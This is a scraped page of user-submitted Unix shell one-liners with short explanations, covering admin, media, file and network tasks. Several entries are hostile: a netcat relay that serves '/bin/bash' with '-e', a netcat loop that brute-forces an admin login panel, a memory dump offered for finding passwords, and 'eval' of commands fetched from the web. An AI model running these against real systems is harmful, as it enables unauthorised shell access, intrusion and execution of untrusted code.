Extracted from http://www.howtogeek.com/wiki/Recursively_Add_Changed_Files_to_Subversion
ruby -rdate -e 'p DateTime.now.cweek'
ruby one-liner to get the current week number
curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo
online MAC address lookup
autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1 -L bind_address2:localport2:server2:remoteport2 user@sshserver
SSH tunneling self-connection
- port 8080 on localhost will be a SOCKSv5 proxy
- at localhost:localport1 you will be connected to the external source server1:remoteport1 and at bind_address2:localport2 to server2:remoteport2
- you will be using only IPv4 and arcfour/blowfish-cbc, in order to speed up the tunnel
- if you lose the connection, autossh will resume it at soon as possible
- the tunnel is here a background process, wiithout any terminal window open
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
pipe output to notify-send
Route output to notify-send to show nice messages on the desktop, e.g. title and interpreter of the current radio stream
for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
Progress dialog
using seq inside a subshell instead of a bash sequence to create increments.
readlink /proc/self/cwd
chronic () { t=$1; shift; while true; do $@; sleep $t; done & }
The Chronic: run a command every N seconds in the background
Chronic Bash function:
chronic 3600 time # Print the time in your shell every hour chronic 60 updatedb > /dev/null # update slocate every minute
Note: use 'jobs' to list background tasks and fg/bg to take control of them.
VBoxManage list vms
"winxp-ie6" {487b8e10-e2f8-480c-a0be-a20b51d86848}
"winxp-ie7" {b5a97304-de94-4a6c-8d7c-88fa9d9054e0}
"winxp-ie8" {cb6f9885-1f27-479d-aea3-2b8b96deb628}
Get a list of all your VirtualBox virtual machines by name and UUID from the shell
A similar command that lists only the currently running VMs is thus:
VBoxManage list runningvms
...the above showing a list of VMs by name and UUID in the same format as the "$ VBoxManage list vms" command
rsync --partial --progress --rsh=ssh user@host:remote-file local-file
resume scp-filetransfer with rsync
resume a partial scp-filetransfer with rsync
svn status | awk '{print $2}' | xargs du | sort -n | tail
make sure you don't add large file to your repository
for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing Foobar" --text "Pleae wait until process has finished."
Create a progress dialog with custom title and text using zenity.
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
Functions: alias export
Creates a proxy based on tsocks.
hexdump -e '90/1 "%_p" "\n"' /dev/mem | less
view the system memory in clear text
see what's in your memory right now... sometimes you find passwords, account numbers and url's that were recently used. Anyone have a safe command to clear the memory without rebooting?
7z x -so testfile.tar.7z | tar tvf -
List contents of tar archive within a compressed 7zip archive
Sometimes it is handy to be able to list contents of a tar file within a compressed archive, such as 7Zip in this instance, without having to extract the archive first. This is especially helpful when dealing with larger sized files.
straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
Functions: return strace
Strace all signals processes based on a name ( The processes already started... ) with bash built-in
Especially for sysadmins when they don't want to waste time to add -p flag on the N processes of a processname.
In the old school, you did ;
pgrep processname
and typing strace -f -p 456 -p 678 -p 974...
You can add -f argument to the function. That way, the function will deal with pgrep to match the command-line.
processname -f jrockit
svn diff --diff-cmd='meld' -r 100:BASE FILE
Send your svn diff to meld
If you like to view what has been changed between revision 100 and the BASE on FILE. Meld will give you a nice overview.
:3,9w new_file
Copy the text from the 3rd line to the 9th line into a new file with VI
mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
Concatenate video files to YouTube ready output
Takes two input video files and an external audio track and encodes them together to an MPEG-4 DivX output video file with the correct size ready for uploading.
tail -f access.log | pv -l -i10 -r >/dev/null
Realtime lines per second in a log file
-l tels pv to count lines
-i to refresh every 10 seconds
-l option is not in old versions of pv. If the remote system has an old pv version:
ssh tail -f /var/log/apache2/access.log | pv -l -i10 -r >/dev/null
sed G file.txt
append empty line after every line in file.txt
echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
convert hex to decimal ; decimal to hex
awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }'
Functions: awk delta
This will calculate a running standard deviation in one pass and should never have the possibility for overflow that can happen with other implementations. I suppose there is a potential for underflow in the corner case where the deltas are small or the values themselves are small.
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
Convert PDF to JPEG using Ghostscript
Converting your PDF file to JPEG images. You can set resolution by -r option (default: 72dpi).
shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; }
$ shebang perl test.pl
#!/usr/bin/perl
Functions: chmod echo printf vim which
create a new script, automatically populating the shebang line, editing the script, and making it executable.
The first argument is the interpreter for your script, the second argument is the name of the script to create.
‹ First < 116 117 118 119 120 > Last ›
convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
Separates each frame of a animated gif file to a counted file, then appends the frames together into one sheet file. Useful for making sprite sheets for games.
requires imagemagick
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
Compress logs older than 7 days
echo "aBcDeFgH123" | tr a-z A-Z
convert strings toupper/tolower with tr
curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
Functions: awk chkconfig fgrep host sed ssh tr
And then to complete the task:
Go to target host;
ssh host
Turn everything off:
for i in `chkconfig --list | fgrep :on | awk '{print $1}'` ; do chkconfig --level 12345 $i off; done
Create duplicate config:
while read line; do chkconfig --level $line on; done < foo
! python %
From Vim, run current buffer in python
apt-cache show pkgname | grep -i "version:"
$apt-cache show freemind | grep -i "version:"
Version: 0.9.0~rc6+dfsg-1ubuntu1
Functions: apt grep
Show a Package Version on Debian based distribution
if you don't want to show string "version?, then use awk or cut filter it: apt-cache show pkgname | grep -i "version:" | awk '{ print $2 }'
we can also use regex to search many packages and show their versions:
apt-cache search pkgregex | grep -i "version:"
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
Functions: dd od sed
generate random mac address
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900
Make a high definition VNC
-nohttpd don't run mini-httpd if VNC java applet is found
-name change the name of the desktop, it's passed to xstartup script via $VNCDESKTOP, run different set of apps acording the name.
-depth pixel depth in bits of the desktop, default is 16
-geometry size of the desktop, default is 1024x768
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
Functions: awk grep sed
extract all urls from firefox sessionstore
This will extract all of the urls from a firefox session (including urls in a tab's history). The sessionstore.js file is in ~/.mozilla/firefox/{firefox profile}
find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t
DONE
Functions: echo find mv rm sed wc
defragment files
Thanks to flatcap for optimizing this command.
This command takes advantage of the ext4 filesystem's resistance to fragmentation.
By using this command, files that were previously fragmented will be copied / deleted / pasted essentially giving the filesystem another chance at saving the file contiguously. ( unlike FAT / NTFS, the *nix filesystem always try to save a file without fragmenting it )
My command only effects the home directory and only those files with your R/W (read / write ) permissions.
There are two issues with this command:
1. it really won't help, it works, but linux doesn't suffer much (if any ) fragmentation and even fragmented files have fast I/O
2. it doesn't discriminate between fragmented and non-fragmented files, so a large ~/ directory with no fragments will take almost as long as an equally sized fragmented ~/ directory
The benefits i managed to work into the command:
1. it only defragments files under 16mb, because a large file with fragments isn't as noticeable as a small file that's fragmented, and copy/ delete/ paste of large files would take too long
2. it gives a nice countdown in the terminal so you know how far how much progress is being made and just like other defragmenters you can stop at any time ( use ctrl+c )
3. fast! i can defrag my ~/ directory in 11 seconds thanks to the ramdrive powering the command's temporary storage
bottom line:
1. its only an experiment, safe ( i've used it several times for testing ), but probably not very effective ( unless you somehow have a fragmentation problem on linux ). might be a placebo for recent windows converts looking for a defrag utility on linux and won't accept no for an answer
2. it's my first commandlinefu command
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/'
/lib/libncurses.so.5,/lib/tls/i686/cmov/libdl.so.2,/lib/tls/i686/cmov/libc.so.6,/lib/ld-linux.so.2
Functions: awk ldd sed
List the libraries used by an application
For example, you need to make a copy of all the libraries that a certain application uses, with this command you can list and copy them.
rpm -qa --last
show the date every rpm was installed
the newest rpms are at the top; individual packages can also be queried this way:
rpm --last -q package
FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
Functions: rm scp
create an screenshot, upload it to your server via scp and then open that screenshot in firefox
I often need to send screenshots to other people to explain settings and whatever.
So I created this oneline which I use to create the screenshot with imagemagik, upload it via scp to my server and then the command opens an firefox tab with the screenshot.
The screenshot can be a region or a window.
You just have to replace the parts beginning with YOUR.
find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix"
see mytop output
Functions: find sh xargs
Parallel mysql dump restore
this command works with one gziped file per table, and restore 4 tables in parallel.
shutdown -rF now
Force an fsck on reboot
Force an fsck on reboot. Useful on a system where / has mounted read-only because of file system issues.
shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
PS_24509.TTF PS_24517.TTF PS_24520.TTF PS_24523.TTF
PS_24510.TTF PS_24518.TTF PS_24521.TTF PS_24524.TTF
PS_24516.TTF PS_24519.TTF PS_24522.TTF
$ shopt -s extglob; for f in *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done
Apple Chancery Italic.ttf Hoefler Text Black Italic.ttf Hoefler Text.ttf
Candid.ttf Hoefler Text Black.ttf Monaco.ttf
Chicago.ttf Hoefler Text Italic.ttf New York.ttf
Geneva.ttf Hoefler Text Ornaments.ttf
Functions: cut grep mv rev tail
Give {Open,True}Type files reasonable names
Just a quick hack to give reasonable filenames to TrueType and OpenType fonts.
I'd accumulated a big bunch of bizarrely and inconsistently named font files in my ~/.fonts directory. I wanted to copy some, but not all, of them over to my new machine, but I had no idea what many of them were. This script renames .ttf files based on the name embedded inside the font. It will also work for .otf files, but make sure you change the mv part so it gives them the proper extension.
REQUIREMENTS: Bash (for extended pattern globbing), showttf (Debian has it in the fontforge-extras package), GNU grep (for context), and rev (because it's hilarious).
BUGS: Well, like I said, this is a quick hack. It grew piece by piece on the command line. I only needed to do this once and spent hardly any time on it, so it's a bit goofy. For example, I find 'rev | cut -f1 | rev' pleasantly amusing --- it seems so clearly wrong, and yet it works to print the last argument. I think flexibility in expressiveness like this is part of the beauty of Unix shell scripting. One-off tasks can be be written quickly, built-up as a person is "thinking aloud" at the command line. That's why Unix is such a huge boost to productivity: it allows each person to think their own way instead of enforcing some "right way".
On a tangent: One of the things I wish commandlinefu would show is the command line HISTORY of the person as they developed the script. I think it's that conversation between programmer and computer, as the pipeline is built piece-by-piece, that is the more valuable lesson than any canned script.
perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out
If you are in an environment where you don't have the base64 executable or MIME tools available, this can be very handy for salvaging email attachments when the headers are mangled but the encoded document itself is intact.
du -sk * | sort -rn | head
Find the biggest files
* find . -type f -exec ls -s {} \; | sort -n -r | head -5
* find . -type f -exec ls -l {} \; | awk '{print $5 "\t" $9}' | sort -n -r | head -5
openssl base64 -d < file.txt > out
Another option is openssl.
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211
Functions: sudo tcpdump
Watch memcache traffic
View all memcache traffic
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;## nc -l $IamTargetHost 1234 -e /bin/bash;
Netcat Relay
This is an example of using 3 hosts, in a netcat relay.
first host connects to middle host
1 -> 2
Second hosts redirects to target host
1 -> 2 -> 3
I hope this makes sense.
lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null
Functions: grep mv
u can hear all .ogg files with vlc that thier link are in url
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr
Functions: cut grep sort uniq
top svn committers (without awk)
list top committers (and number of their commits) of svn repository.
in this example it counts revisions of current directory.
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
Averaging columns of numbers
This example calculates the averages of column one and column two of "file.dat". It can be easily modified if other columns are to be averaged.
‹ First < 117 118 119 120 121 > Last ›
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
Functions: awk diff echo
Validating a file with checksum
Makes sure the contents of "myfile" are the same contents that the author intended given the author's md5 hash of that file ("c84fa6b830e38ee8a551df61172d53d7").
setfacl -m u:john:r-- myfile
$ ls -l myfile
-rw------- 1 tom tom 248060 2009-02-15 14:02 myfile
$ getfacl myfile
# file: myfile
# owner: tom
# group: tom
other::---
$ setfacl -m u:john:r-- myfile
user:john:r--
mask::r-x
-rw-------+ 1 tom tom 248060 2009-02-15 14:02 myfile
Set file access control lists
The file myfile is owned by tom and has read and write permissions for tom. Group and other permissions are empty which make myfile readable and writable only by tom. setfacl enables user tom to give read permission to user john only. The command 'ls -l' shows a '+' sign telling us that file access control list has been setup for myfile.
find . -type f -exec sha1sum {} >> SHA1SUMS \;
Functions: find sha1sum
Generate SHA1 hash for each file in a list
All output is placed in file SHA1SUMS which you can later check with 'sha1sum --check'. Works on most Linux distros where 'sha1sum' is installed.
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
eth1: 192.168.100.73
Functions: awk cut grep ifconfig sed
Grab an interface's IP from ifconfig without screen clutter
Sometimes, you don't really care about all the other information that ifconfig spits at you (however useful it may otherwise be). You just want an IP. This strips out all the crap and gives you exactly what you want.
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
Functions: awk echo sort wc
Most used command
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
Quick plotting of a function
The arguments of "seq" indicate the starting value, step size, and the end value of the x-range. "awk" outputs (x, f(x)) pairs and pipes them to "graph", which is part of the "plotutils" package.
awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat
echo "vertical text" | fold -1
Functions: echo fold
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
Show a line when a "column" matchs
get your terminal back after it's been clobbered
after a terminal gets clobbered (like after you cat a binary file by accident), this is the only way to get it back without re-starting it.
cat filename | grep .
Pipe any output to "grep ." and blank lines will not be printed.
date +%s | sha256sum | base64 | head -c ; echo
Functions: date head
w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// : F\//g'|sed 's/, / : /g'|grep -i ':'
Thursday : November 11
BAL 21 ATL 26 : Final
Sunday : November 14
DET 12 BUF 14 : Final
MIN 13 CHI 27 : Final
NYJ 26 CLE 20 : F/OT
CIN 17 IND 23 : Final
TEN 17 MIA 29 : Final
CAR 16 TB 31 : Final
HOU 24 JAC 31 : Final
KC 29 DEN 49 : Final
DAL 33 NYG 20 : Final
SEA 36 ARI 18 : Final
STL 20 SF 23 : F/OT
NE at PIT 8:20 PM : NBC
Monday : November 15
PHI at WSH 8:30 PM : ESPN
Get NFL/MLB Scores/Time
change the nfl in the url to mlb or nba to get those score/times as well
buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; }
Backup a file with a date-time stamp
1. you don't need to prepend the year with 20 - just use Y instead of y
2. you may want to make your function a bit more secure:
buf () { cp ${1?filename not specified}{,$(date +%Y%m%d_%H%M%S)}; }
perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config
ssh autocomplete based on ~/.ssh/config
I use this in my bashrc to expand hosts defined in ~/.ssh/config:
function _ssh_completion() {
complete -W "$(_ssh_completion)" ssh
Here's a great article on how to setup your own ~/.ssh/config:
http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip > /mnt/c/home.tar.gz
7.85GB 0:20:27 [6.54MB/s] [=========================================================================>] 100%
tar directory and compress it with showing progress and Disk IO limits
tar directory and compress it with showing progress and Disk IO limits. Pipe Viewer can be used to view the progress of the task, Besides, he can limit the disk IO, especially useful for running Servers.
awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p)}' /var/lib/dpkg/status | sort -n | tail
watch -n 7 -d 'uptime | sed s/.*users,//'
load average: 0.65, 0.88, 1.00
Functions: sed watch
keep an eye on system load changes
helps you keep watch on the load of a system, without having to stare constantly at the terminal. The -d argument to watch highlights the difference from the last run, making it easier to note how the load is fluctuating. The sed command just strips off the information about how long the box has been up, and how many users are logged in.
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"
scp filename root@remote:`pwd`
[root@core /to/long/of/a/directory/name/to/type/out/gesh]# scp filename root@domain.tld:`pwd`
root@domain.tld's password:
[root@core /to/long/of/a/directory/name/to/type/out/gesh]#
shortcut to scp a file to the same location on a remote machine
This will copy a file from your current directory to the same location on another machine. Handy for configuring ha, copying your resolv.conf, .bashrc, anything in /usr/local, etc.
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'
150000
Functions: awk du find xargs
Summarise the size of all files matching a simple regex
Use the find command to match certain files and summarise their total size in KBytes.
grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2-
Lists unambigously names of all xml elements used in files in current directory
This set of commands was very convenient for me when I was preparing some xml files for typesetting a book. I wanted to check what styles I had to prepare but coudn't remember all tags that I used. This one saved me from error-prone browsing of all my files. It should be also useful if one tries to process xml files with xsl, when using own xml application.
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
Colourful with vim regex finding goodness!
Replace the 'man' with the page to be looked up.
I actually have as a function in my .profile
function vman {
/usr/bin/man $* | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu' -
mkdir `date --iso`
Make a directory named with the current date
Create a directory named with the current date in ISO 8601 format (yyyy-mm-dd). Useful for storing backups by date. The --iso switch may only work with GNU date, can use format string argument for other date versions.
for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
Create multiple mp4 files using avidemux
Convert multiple files using avidemux. Version updated (thanks to the guys who helped me giving me hints about how to improve the command). Works with files whose name contains blank characters.
One of the reasons why I love open source: everyone can take something "done" and improve it to make it better! If u have suggestions, please let me know.
‹ First < 118 119 120 121 122 > Last ›
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
mysql DB size
tcpdump -ieth0 -n tcp port 80 -A -s1500
Capture data in ASCII. 1500 bytes
Sniffing traffic on port 80 only the first 1500 bytes
find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;
Find all files under a certain directory /home that have a certain suffix at the end of the file name. Show the file and rename them to remove the suffix.
C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
[WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given folder.
This comes in handy for me when I am developing and testing Perl command line scripts.
http://technet.microsoft.com/en-us/library/bb490880.aspx
update-java-alternatives
Lets you set all the java alternatives at once to a matching version. Also has options for just changing the jre or the plugin.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2)
Functions: cut grep sudo
rpm -qp --scripts package.rpm
warning: /var/cache/yum/as-3-u8-i386/packages/screen-3.9.15-10.i386.rpm: V3 DSA signature: NOKEY, key ID db42a60e
postinstall scriptlet (using /bin/sh):
/sbin/install-info /usr/share/info/screen.info.gz /usr/share/info/dir --entry="* screen: (screen). Terminal multiplexer."
preuninstall scriptlet (using /bin/sh):
if [ $1 = 0 ]; then
/sbin/install-info --delete /usr/share/info/screen.info.gz /usr/share/info/dir --entry="* screen: (screen). Terminal multiplexer."
fi
show rpm packages scriptlets
find . -name .DS_Store -exec rm {} \;
Remove annoying OS X DS_Store folders
Recursively removes all those hidden .DS_Store folders starting in current working directory.
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg
FFmpeg version r11872+debian_3:0.svn20080206-12ubuntu3.1, Copyright (c) 2000-2008 Fabrice Bellard, et al.
configuration: --enable-gpl --enable-pp --enable-swscaler --enable-x11grab --prefix=/usr --enable-libgsm --enable-libtheora --enable-libvorbis --enable-pthreads --disable-strip --enable-libfaad --enable-libfaadbin --enable-liba52 --enable-liba52bin --enable-libdc1394 --enable-shared --disable-static
libavutil version: 49.6.0
libavcodec version: 51.50.0
libavformat version: 52.7.0
libavdevice version: 52.0.0
built on Mar 13 2009 17:52:45, gcc: 4.3.2
Input #0, avi, from 'mvi_0834.avi':
Duration: 00:04:01.0, start: 0.000000, bitrate: 15403 kb/s
Stream #0.0: Video: mjpeg, yuvj422p, 640x480 [PAR 0:1 DAR 0:1], 30.00 tb(r)
Stream #0.1: Audio: pcm_s16le, 44100 Hz, mono, 705 kb/s
Output #0, vcd, to 'movie.mpg':
Stream #0.0: Video: mpeg1video, yuv420p, 352x240 [PAR 0:1 DAR 0:1], q=3-13, 1 kb/s, 29.97 tb(c)
Stream #0.1: Audio: mp2, 44100 Hz, stereo, 64 kb/s
Stream #0.1 -> #0.1
video:18486kB audio:1883kB global headers:0kB muxing overhead 1.321023%
convert plain .avi movies to .mpeg
works "out of the box" on ubuntu 8.10
find . -type f -name *.ext -exec cat {} > file.txt \;
Functions: cat find
Recursive cat - concatenate files (filtered by extension) across multiple subdirectories into one file
Useful if you have to put together multiple files into one and they are scattered across subdirectories. For example: You need to combine all .sql files into one .sql file that would be sent to DBAs as a batch script.
You do get a warning if you create a file by the same extension as the ones your searching for.
find . -type f -name *.sql -exec cat {} > BatchFile.txt \;
sudo arp-scan 192.168.1.0/24 -interface eth0
Router discovery
mytop
readlink -f myfile.txt
/tmp/myfile.txt
get absolute file path
Retrieve absolute path name from relative path
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
split a string (3)
sort -M filename
$ cat my_months
apr 789
feb 356
jan 982
jul 902
oct 876
sep 342
feb 267
may 534
mar 888
jun 654
dec 732
jun 672
nov 623
$ sort -M my_months
sort monthwise
sort command can sort month-wise (first three letters of each month).
See the sample output for clarification.
Sorting Stable ? NO. Take note if that matters to you.
Sample output suggests that sort performs unstable
sorting (see the relative order of two 'feb' entries).
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
HTTP Get of a web page via proxy server with login credentials
If you are behind a proxy server and have to authenticate with proxy server to browser web pages then you have to pass proxy server address and its port number along with user credentials to curl to got GET the page using curl. Example : "curl -U srikanth -x 167.85.103.70:8080
find . -type f ! -perm /g=r -exec chmod g+r {} +
Give any files that don't already have it group read permission under the current folder (recursive)
Makes any files in the current directory (and any sub-directories) group-readable.
Using the "! -perm /g=r" limits the number of files to only those that do not already have this property
Using "+" on the end of the -exec body tells find to build the entire command by appending all matching files before execution, so invokes chmod once only, not once per file.
mencoder dvd:// -dvd-device -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/dev/null'
First pass dvd rip... The set of commands was too long, so I had to separate them into two.
This set of commands will rip a dvd title using a 2 pass mencoder xvid encode. It will provide a great quality rip. It will rip as close to 700MB as possible. (note the bitrate of -700000)
Enjoy!
IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
$ IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
86.134.45.64
Command used: curl ip.appspot.com
Get your external IP address with a random commandlinefu.com command
There's been so many ways submitted to get your external IP address that I decided we all need a command that will just go pick a random one from the list and run it. This gets a list of "Get your external IP" commands from commanlinefu.com and selects a random one to run. It will run the command and print out which command it used.
This is not a serious entry, but it was a learning exercise for me writing it. My personal favourite is "curl icanhazip.com". I really don't think we need any other ways to do this, but if more come you can make use of them with this command ;o).
Here's a more useful command that always gets the top voted "External IP" command, but it's not so much fun:
eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}')
for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done
Netcat brute force on administration login panel
echo $(( 1+1 ))
calculate in commandline with bash
Only works for integer arithmetic.
echo "$math_expr" | bc -l
$ echo "4.5*16+3^2" | bc -l
81.0
$ echo "s(3.1415926/2)" | bc -l
.99999999999999964101
Quick calculator at the terminal
Useful for quick calculations at the command line. $math_expr is any arithmetic expression (see sample output):
4.5*16+3^2
s(3.1415926/2)
More options in the bc man page.
mencoder dvd:// -dvd-device -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=-700000 -ofps 30000/1001 -o ''
Second pass dvd rip... The set of commands was too long, so I had to separate them into two.
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from '100_0029.MOV':
Metadata:
major_brand : qt
minor_version : 0
compatible_brands: qt
comment : KODAK Zi8 Pocket Video Camera
comment-eng : KODAK Zi8 Pocket Video Camera
Duration: 00:07:57.74, start: 0.000000, bitrate: 8778 kb/s
Stream #0.0(eng): Video: h264, yuv420p, 1920x1080 [PAR 1:1 DAR 16:9], 8644 kb/s, 29.97 fps, 29.97 tbr, 90k tbn, 59.94 tbc
Stream #0.1(eng): Audio: aac, 48000 Hz, stereo, s16, 127 kb/s
Output #0, mov, to '100_0029_1.MOV':
encoder : Lavf52.64.2
Stream #0.0(eng): Video: mpeg4, yuv420p, 1920x1080 [PAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 30k tbn, 29.97 tbc
Stream #0.1(eng): Audio: libfaac, 48000 Hz, stereo, s16, 64 kb/s
video:66194kB audio:1879kB global headers:0kB muxing overhead 0.216892%
split large video file
i have a large video file, 500+ MB, so i cant upload it to flickr, so to reduce the size i split it into 2 files. the command shows the splitting for the first file, from 0-4 minutes. ss is start time and t is duration (how long you want the output file to be).
credit goes to philc: http://ubuntuforums.org/showthread.php?t=480343
NOTE: when i made the second half of the video, i got a *lot* of lines like this:
frame= 0 fps= 0 q=0.0 size= 0kB time=10000000000.00 bitrate= 0.0kbit
just be patient, it is working =)
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
Functions: arp awk grep route
add static arp entry to default gateway, arp poison protection
‹ First < 119 120 121 122 123 > Last ›
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
Rip a DVD to AVI format
Substitute whatever track number you want into the "dvd://1" parameter. The "-aid 128" is to select the English language.
sed -n '1,/regex/p' filename
print contents of file from line 1 until we match regex
Start printing the contents of filename to stdout, until a matching line to regex is found, then stop.
echo ; !#:0-$
!# is the currennt line so far, by using !#:- you can go from the second arg (it's zero indexed) to the last ($)
(did I understand the problem correctly?)
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cert/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX'
move messages directly from one IMAP inbox to another
This one-liner was useful in helping someone I know to get off of MS Exchange. `mailutil` proved to be a much better alternative than `fetchmail` or `getmail` in this case.
It quickly moved all mails to the destination server (a simple Dovecot/Maildir setup), with no need to convert back and forth between mbox/maildir on the user's own system.
